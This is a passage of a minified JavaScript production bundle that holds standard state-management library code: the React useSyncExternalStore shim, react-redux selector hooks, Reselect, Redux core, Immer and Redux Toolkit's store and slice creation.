*/var Xa=p;function m6(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var h6=typeof Object.is=="function"?Object.is:m6,x6=Xa.useState,v6=Xa.useEffect,g6=Xa.useLayoutEffect,y6=Xa.useDebugValue;function b6(e,t){var n=t(),r=x6({inst:{value:n,getSnapshot:t}}),i=r[0].inst,a=r[1];return g6(function(){i.value=n,i.getSnapshot=t,Zf(i)&&a({inst:i})},[e,n,t]),v6(function(){return Zf(i)&&a({inst:i}),e(function(){Zf(i)&&a({inst:i})})},[e]),y6(n),n}function Zf(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!h6(e,n)}catch{return!0}}function w6(e,t){return t()}var j6=typeof window>"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?w6:b6;pk.useSyncExternalStore=Xa.useSyncExternalStore!==void 0?Xa.useSyncExternalStore:j6;fk.exports=pk;var k6=fk.exports;/**
* @license React
* use-sync-external-store-shim/with-selector.production.js
*
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/var vd=p,N6=k6;function S6(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var z6=typeof Object.is=="function"?Object.is:S6,C6=N6.useSyncExternalStore,P6=vd.useRef,E6=vd.useEffect,A6=vd.useMemo,_6=vd.useDebugValue;dk.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=P6(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=A6(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,z6(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=C6(e,a[0],a[1]);return E6(function(){o.hasValue=!0,o.value=l},[l]),_6(l),l};uk.exports=dk;var O6=uk.exports,Mx=p.createContext(null),T6=e=>e,it=()=>{var e=p.useContext(Mx);return e?e.store.dispatch:T6},fc=()=>{},M6=()=>fc,L6=(e,t)=>e===t;function ye(e){var t=p.useContext(Mx),n=p.useMemo(()=>t?r=>{if(r!=null)return e(r)}:fc,[t,e]);return O6.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:M6,t?t.store.getState:fc,t?t.store.getState:fc,n,L6)}function I6(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function D6(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function R6(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var ty=e=>Array.isArray(e)?e:[e];function $6(e){const t=Array.isArray(e[0])?e[0]:e;return R6(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function B6(e,t){const n=[],{length:r}=e;for(let i=0;i<r;i++)n.push(e[i].apply(null,t));return n}var F6=class{constructor(e){this.value=e}deref(){return this.value}},W6=typeof WeakRef<"u"?WeakRef:F6,U6=0,ny=1;function Ol(){return{s:U6,v:void 0,o:null,p:null}}function mk(e,t={}){let n=Ol();const{resultEqualityCheck:r}=t;let i,a=0;function o(){var f;let l=n;const{length:c}=arguments;for(let m=0,h=c;m<h;m++){const x=arguments[m];if(typeof x=="function"||typeof x=="object"&&x!==null){let g=l.o;g===null&&(l.o=g=new WeakMap);const y=g.get(x);y===void 0?(l=Ol(),g.set(x,l)):l=y}else{let g=l.p;g===null&&(l.p=g=new Map);const y=g.get(x);y===void 0?(l=Ol(),g.set(x,l)):l=y}}const u=l;let d;if(l.s===ny)d=l.v;else if(d=e.apply(null,arguments),a++,r){const m=((f=i==null?void 0:i.deref)==null?void 0:f.call(i))??i;m!=null&&r(m,d)&&(d=m,a!==0&&a--),i=typeof d=="object"&&d!==null||typeof d=="function"?new W6(d):d}return u.s=ny,u.v=d,d}return o.clearCache=()=>{n=Ol(),o.resetResultsCount()},o.resultsCount=()=>a,o.resetResultsCount=()=>{a=0},o}function V6(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let a=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),I6(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:m=[],argsMemoize:h=mk,argsMemoizeOptions:x=[]}=d,g=ty(m),y=ty(x),v=$6(i),b=f(function(){return a++,u.apply(null,arguments)},...g),w=h(function(){o++;const k=B6(v,arguments);return l=b.apply(null,k),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>a,resetRecomputations:()=>{a=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var T=V6(mk),H6=Object.assign((e,t=T)=>{D6(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(a=>e[a]);return t(r,(...a)=>a.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>H6}),hk={},xk={},vk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,a)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(r<i)return a==="desc"?1:-1;if(r>i)return a==="desc"?-1:1}return a==="desc"?l-o:o-l}return 0};e.compareValues=n})(vk);var gk={},Lx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(Lx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Lx,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(a,o){return Array.isArray(a)?!1:typeof a=="number"||typeof a=="boolean"||a==null||t.isSymbol(a)?!0:typeof a=="string"&&(r.test(a)||!n.test(a))||o!=null&&Object.hasOwn(o,a)}e.isKey=i})(gk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=vk,n=gk,r=md;function i(a,o,l,c){if(a==null)return[];l=c?void 0:l,Array.isArray(a)||(a=Object.values(a)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;y<x.length&&g!=null;++y)g=g[x[y]];return g},d=(h,x)=>x==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return a.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;g<f.length;g++){const y=t.compareValues(h.criteria[g],x.criteria[g],l[g]);if(y!==0)return y}return 0}).map(h=>h.original)}e.orderBy=i})(xk);var yk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],a=Math.floor(r),o=(l,c)=>{for(let u=0;u<l.length;u++){const d=l[u];Array.isArray(d)&&c<a?o(d,c+1):i.push(d)}};return o(n,0),i}e.flatten=t})(yk);var Ix={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Tx,n=hd,r=Px,i=Ax;function a(o,l,c){return r.isObject(c)&&(typeof l=="number"&&n.isArrayLike(c)&&t.isIndex(l)&&l<c.length||typeof l=="string"&&l in c)?i.isEqualsSameValueZero(c[l],o):!1}e.isIterateeCall=a})(Ix);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=xk,n=yk,r=Ix;function i(a,...o){const l=o.length;return l>1&&r.isIterateeCall(a,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(a,n.flatten(o),["asc"])}e.sortBy=i})(hk);var K6=hk.sortBy;const gd=Lr(K6);var bk=e=>e.legend.settings,q6=e=>e.legend.size,Y6=e=>e.legend.payload;T([Y6,bk],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?gd(r,n):r});var Tl=1;function G6(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=p.useState({height:0,left:0,top:0,width:0}),r=p.useCallback(i=>{if(i!=null){var a=i.getBoundingClientRect(),o={height:a.height,left:a.left,top:a.top,width:a.width};(Math.abs(o.height-t.height)>Tl||Math.abs(o.left-t.left)>Tl||Math.abs(o.top-t.top)>Tl||Math.abs(o.width-t.width)>Tl)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function jt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var X6=typeof Symbol=="function"&&Symbol.observable||"@@observable",ry=X6,Qf=()=>Math.random().toString(36).substring(7).split("").join("."),Z6={INIT:`@@redux/INIT${Qf()}`,REPLACE:`@@redux/REPLACE${Qf()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${Qf()}`},Xc=Z6;function Dx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function wk(e,t,n){if(typeof e!="function")throw new Error(jt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(jt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(jt(1));return n(wk)(e,t)}let r=e,i=t,a=new Map,o=a,l=0,c=!1;function u(){o===a&&(o=new Map,a.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(jt(3));return i}function f(y){if(typeof y!="function")throw new Error(jt(4));if(c)throw new Error(jt(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(jt(6));v=!1,u(),o.delete(b),a=null}}}function m(y){if(!Dx(y))throw new Error(jt(7));if(typeof y.type>"u")throw new Error(jt(8));if(typeof y.type!="string")throw new Error(jt(17));if(c)throw new Error(jt(9));try{c=!0,i=r(i,y)}finally{c=!1}return(a=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(jt(10));r=y,m({type:Xc.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(jt(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[ry](){return this}}}return m({type:Xc.INIT}),{dispatch:m,subscribe:f,getState:d,replaceReducer:h,[ry]:x}}function Q6(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:Xc.INIT})>"u")throw new Error(jt(12));if(typeof n(void 0,{type:Xc.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(jt(13))})}function jk(e){const t=Object.keys(e),n={};for(let a=0;a<t.length;a++){const o=t[a];typeof e[o]=="function"&&(n[o]=e[o])}const r=Object.keys(n);let i;try{Q6(n)}catch(a){i=a}return function(o={},l){if(i)throw i;let c=!1;const u={};for(let d=0;d<r.length;d++){const f=r[d],m=n[f],h=o[f],x=m(h,l);if(typeof x>"u")throw l&&l.type,new Error(jt(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function Zc(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function J6(...e){return t=>(n,r)=>{const i=t(n,r);let a=()=>{throw new Error(jt(15))};const o={getState:i.getState,dispatch:(c,...u)=>a(c,...u)},l=e.map(c=>c(o));return a=Zc(...l)(i.dispatch),{...i,dispatch:a}}}function kk(e){return Dx(e)&&"type"in e&&typeof e.type=="string"}var Nk=Symbol.for("immer-nothing"),iy=Symbol.for("immer-draftable"),Dt=Symbol.for("immer-state");function In(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var rn=Object,Za=rn.getPrototypeOf,Qc="constructor",yd="prototype",_m="configurable",Jc="enumerable",pc="writable",Eo="value",Er=e=>!!e&&!!e[Dt];function Vn(e){var t;return e?Sk(e)||wd(e)||!!e[iy]||!!((t=e[Qc])!=null&&t[iy])||jd(e)||kd(e):!1}var eO=rn[yd][Qc].toString(),ay=new WeakMap;function Sk(e){if(!e||!Rx(e))return!1;const t=Za(e);if(t===null||t===rn[yd])return!0;const n=rn.hasOwnProperty.call(t,Qc)&&t[Qc];if(n===Object)return!0;if(!va(n))return!1;let r=ay.get(n);return r===void 0&&(r=Function.toString.call(n),ay.set(n,r)),r===eO}function bd(e,t,n=!0){Xo(e)===0?(n?Reflect.ownKeys(e):rn.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Xo(e){const t=e[Dt];return t?t.type_:wd(e)?1:jd(e)?2:kd(e)?3:0}var sy=(e,t,n=Xo(e))=>n===2?e.has(t):rn[yd].hasOwnProperty.call(e,t),Om=(e,t,n=Xo(e))=>n===2?e.get(t):e[t],eu=(e,t,n,r=Xo(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function tO(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var wd=Array.isArray,jd=e=>e instanceof Map,kd=e=>e instanceof Set,Rx=e=>typeof e=="object",va=e=>typeof e=="function",Jf=e=>typeof e=="boolean";function nO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var xr=e=>e.copy_||e.base_,$x=e=>e.modified_?e.copy_:e.base_;function Tm(e,t){if(jd(e))return new Map(e);if(kd(e))return new Set(e);if(wd(e))return Array[yd].slice.call(e);const n=Sk(e);if(t===!0||t==="class_only"&&!n){const r=rn.getOwnPropertyDescriptors(e);delete r[Dt];let i=Reflect.ownKeys(r);for(let a=0;a<i.length;a++){const o=i[a],l=r[o];l[pc]===!1&&(l[pc]=!0,l[_m]=!0),(l.get||l.set)&&(r[o]={[_m]:!0,[pc]:!0,[Jc]:l[Jc],[Eo]:e[o]})}return rn.create(Za(e),r)}else{const r=Za(e);if(r!==null&&n)return{...e};const i=rn.create(r);return rn.assign(i,e)}}function Bx(e,t=!1){return Nd(e)||Er(e)||!Vn(e)||(Xo(e)>1&&rn.defineProperties(e,{set:Ml,add:Ml,clear:Ml,delete:Ml}),rn.freeze(e),t&&bd(e,(n,r)=>{Bx(r,!0)},!1)),e}function rO(){In(2)}var Ml={[Eo]:rO};function Nd(e){return e===null||!Rx(e)?!0:rn.isFrozen(e)}var tu="MapSet",Mm="Patches",oy="ArrayMethods",zk={};function na(e){const t=zk[e];return t||In(0,e),t}var ly=e=>!!zk[e],Ao,Ck=()=>Ao,iO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:ly(tu)?na(tu):void 0,arrayMethodsPlugin_:ly(oy)?na(oy):void 0});function cy(e,t){t&&(e.patchPlugin_=na(Mm),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Lm(e){Im(e),e.drafts_.forEach(aO),e.drafts_=null}function Im(e){e===Ao&&(Ao=e.parent_)}var uy=e=>Ao=iO(Ao,e);function aO(e){const t=e[Dt];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function dy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[Dt].modified_&&(Lm(t),In(4)),Vn(e)&&(e=fy(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[Dt].base_,e,t)}else e=fy(t,n);return sO(t,e,!0),Lm(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==Nk?e:void 0}function fy(e,t){if(Nd(t))return t;const n=t[Dt];if(!n)return nu(t,e.handledSet_,e);if(!Sd(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);Ak(n,e)}return n.copy_}function sO(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Bx(t,n)}function Pk(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var Sd=(e,t)=>e.scope_===t,oO=[];function Ek(e,t,n,r){const i=xr(e),a=e.type_;if(r!==void 0&&Om(i,r,a)===t){eu(i,r,n,a);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;bd(i,(c,u)=>{if(Er(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??oO;for(const l of o)eu(i,l,n,a)}function lO(e,t,n){e.callbacks_.push(function(i){var l;const a=t;if(!a||!Sd(a,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(a);const o=$x(a);Ek(e,a.draft_??a,o,n),Ak(a,i)})}function Ak(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const a=i.getPath(e);a&&i.generatePatches_(e,a,t)}Pk(e)}}function cO(e,t,n){const{scope_:r}=e;if(Er(n)){const i=n[Dt];Sd(i,r)&&i.callbacks_.push(function(){mc(e);const o=$x(i);Ek(e,n,o,t)})}else Vn(n)&&e.callbacks_.push(function(){const a=xr(e);e.type_===3?a.has(n)&&nu(n,r.handledSet_,r):Om(a,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&nu(Om(e.copy_,t,e.type_),r.handledSet_,r)})}function nu(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||Er(e)||t.has(e)||!Vn(e)||Nd(e)||(t.add(e),bd(e,(r,i)=>{if(Er(i)){const a=i[Dt];if(Sd(a,n)){const o=$x(a);eu(e,r,o,e.type_),Pk(a)}}else Vn(i)&&nu(i,t,n)})),e}function uO(e,t){const n=wd(e),r={type_:n?1:0,scope_:t?t.scope_:Ck(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,a=ru;n&&(i=[r],a=_o);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,[l,r]}var ru={get(e,t){if(t===Dt)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=xr(e);if(!sy(i,t,e.type_))return dO(e,i,t);const a=i[t];if(e.finalized_||!Vn(a)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&nO(t))return a;if(a===ep(e.base_,t)){mc(e);const o=e.type_===1?+t:t,l=Rm(e.scope_,a,e,o);return e.copy_[o]=l}return a},has(e,t){return t in xr(e)},ownKeys(e){return Reflect.ownKeys(xr(e))},set(e,t,n){const r=_k(xr(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=ep(xr(e),t),a=i==null?void 0:i[Dt];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(tO(n,i)&&(n!==void 0||sy(e.base_,t,e.type_)))return!0;mc(e),Dm(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),cO(e,t,n)),!0},deleteProperty(e,t){return mc(e),ep(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),Dm(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=xr(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[pc]:!0,[_m]:e.type_!==1||t!=="length",[Jc]:r[Jc],[Eo]:n[t]}},defineProperty(){In(11)},getPrototypeOf(e){return Za(e.base_)},setPrototypeOf(){In(12)}},_o={};for(let e in ru){let t=ru[e];_o[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}_o.deleteProperty=function(e,t){return _o.set.call(this,e,t,void 0)};_o.set=function(e,t,n){return ru.set.call(this,e[0],t,n,e[0])};function ep(e,t){const n=e[Dt];return(n?xr(n):e)[t]}function dO(e,t,n){var i;const r=_k(t,n);return r?Eo in r?r[Eo]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function _k(e,t){if(!(t in e))return;let n=Za(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Za(n)}}function Dm(e){e.modified_||(e.modified_=!0,e.parent_&&Dm(e.parent_))}function mc(e){e.copy_||(e.assigned_=new Map,e.copy_=Tm(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var fO=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(va(n)&&!va(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}va(r)||In(6),i!==void 0&&!va(i)&&In(7);let a;if(Vn(n)){const o=uy(this),l=Rm(o,n,void 0);let c=!0;try{a=r(l),c=!1}finally{c?Lm(o):Im(o)}return cy(o,i),dy(a,o)}else if(!n||!Rx(n)){if(a=r(n),a===void 0&&(a=n),a===Nk&&(a=void 0),this.autoFreeze_&&Bx(a,!0),i){const o=[],l=[];na(Mm).generateReplacementPatches_(n,a,{patches_:o,inversePatches_:l}),i(o,l)}return a}else In(1,n)},this.produceWithPatches=(n,r)=>{if(va(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,a;return[this.produce(n,r,(l,c)=>{i=l,a=c}),i,a]},Jf(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),Jf(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),Jf(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Vn(t)||In(8),Er(t)&&(t=Fn(t));const n=uy(this),r=Rm(n,t,void 0);return r[Dt].isManual_=!0,Im(n),r}finishDraft(t,n){const r=t&&t[Dt];(!r||!r.isManual_)&&In(9);const{scope_:i}=r;return cy(i,n),dy(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const a=n[r];if(a.path.length===0&&a.op==="replace"){t=a.value;break}}r>-1&&(n=n.slice(r+1));const i=na(Mm).applyPatches_;return Er(t)?i(t,n):this.produce(t,a=>i(a,n))}};function Rm(e,t,n,r){const[i,a]=jd(t)?na(tu).proxyMap_(t,n):kd(t)?na(tu).proxySet_(t,n):uO(t,n);return((n==null?void 0:n.scope_)??Ck()).drafts_.push(i),a.callbacks_=(n==null?void 0:n.callbacks_)??[],a.key_=r,n&&r!==void 0?lO(n,a,r):a.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(a);const{patchPlugin_:u}=c;a.modified_&&u&&u.generatePatches_(a,[],c)}),i}function Fn(e){return Er(e)||In(10,e),Ok(e)}function Ok(e){if(!Vn(e)||Nd(e))return e;const t=e[Dt];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Tm(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Tm(e,!0);return bd(n,(i,a)=>{eu(n,i,Ok(a))},r),t&&(t.finalized_=!1),n}var pO=new fO,Tk=pO.produce;function Mk(e){return({dispatch:n,getState:r})=>i=>a=>typeof a=="function"?a(n,r,e):i(a)}var mO=Mk(),hO=Mk,xO=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?Zc:Zc.apply(null,arguments)};function zn(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(on(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>kk(r)&&r.type===e,n}var Lk=class Ks extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,Ks.prototype)}static get[Symbol.species](){return Ks}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new Ks(...t[0].concat(this)):new Ks(...t.concat(this))}};function py(e){return Vn(e)?Tk(e,()=>{}):e}function Ll(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function vO(e){return typeof e=="boolean"}var gO=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:a=!0}=t??{};let o=new Lk;return n&&(vO(n)?o.push(mO):o.push(hO(n.extraArgument))),o},Ik="RTK_autoBatch",Ue=()=>e=>({payload:e,meta:{[Ik]:!0}}),my=e=>t=>{setTimeout(t,e)},Dk=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,a=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:my(10):e.type==="callback"?e.queueNotification:my(e.timeout),u=()=>{o=!1,a&&(a=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),m=r.subscribe(f);return l.add(d),()=>{m(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[Ik]),a=!i,a&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},yO=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new Lk(e);return r&&i.push(Dk(typeof r=="object"?r:void 0)),i};function bO(e){const t=gO(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:a=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(Dx(n))l=jk(n);else throw new Error(on(1));let c;typeof r=="function"?c=r(t):c=t();let u=Zc;i&&(u=xO({trace:!1,...typeof i=="object"&&i}));const d=J6(...c),f=yO(d);let m=typeof o=="function"?o(f):f();const h=u(...m);return wk(l,a,h)}function Rk(e){const t={},n=[];let r;const i={addCase(a,o){const l=typeof a=="string"?a:a.type;if(!l)throw new Error(on(28));if(l in t)throw new Error(on(29));return t[l]=o,i},addAsyncThunk(a,o){return o.pending&&(t[a.pending.type]=o.pending),o.rejected&&(t[a.rejected.type]=o.rejected),o.fulfilled&&(t[a.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:a.settled,reducer:o.settled}),i},addMatcher(a,o){return n.push({matcher:a,reducer:o}),i},addDefaultCase(a){return r=a,i}};return e(i),[t,n,r]}function wO(e){return typeof e=="function"}function jO(e,t){let[n,r,i]=Rk(t),a;if(wO(e))a=()=>py(e());else{const l=py(e);a=()=>l}function o(l=a(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(Er(d)){const h=f(d,c);return h===void 0?d:h}else{if(Vn(d))return Tk(d,m=>f(m,c));{const m=f(d,c);if(m===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return m}}return d},l)}return o.getInitialState=a,o}var kO="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",NO=(e=21)=>{let t="",n=e;for(;n--;)t+=kO[Math.random()*64|0];return t},SO=Symbol.for("rtk-slice-createasyncthunk");function zO(e,t){return`${e}/${t}`}function CO({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[SO];return function(i){const{name:a,reducerPath:o=a}=i;if(!a)throw new Error(on(11));const l=(typeof i.reducers=="function"?i.reducers(EO()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,k){const S=typeof j=="string"?j:j.type;if(!S)throw new Error(on(12));if(S in u.sliceCaseReducersByType)throw new Error(on(13));return u.sliceCaseReducersByType[S]=k,d},addMatcher(j,k){return u.sliceMatchers.push({matcher:j,reducer:k}),d},exposeAction(j,k){return u.actionCreators[j]=k,d},exposeCaseReducer(j,k){return u.sliceCaseReducersByName[j]=k,d}};c.forEach(j=>{const k=l[j],S={reducerName:j,type:zO(a,j),createNotation:typeof i.reducers=="function"};_O(k)?TO(S,k,d,t):AO(S,k,d)});function f(){const[j={},k=[],S=void 0]=typeof i.extraReducers=="function"?Rk(i.extraReducers):[i.extraReducers],N={...j,...u.sliceCaseReducersByType};return jO(i.initialState,z=>{for(let _ in N)z.addCase(_,N[_]);for(let _ of u.sliceMatchers)z.addMatcher(_.matcher,_.reducer);for(let _ of 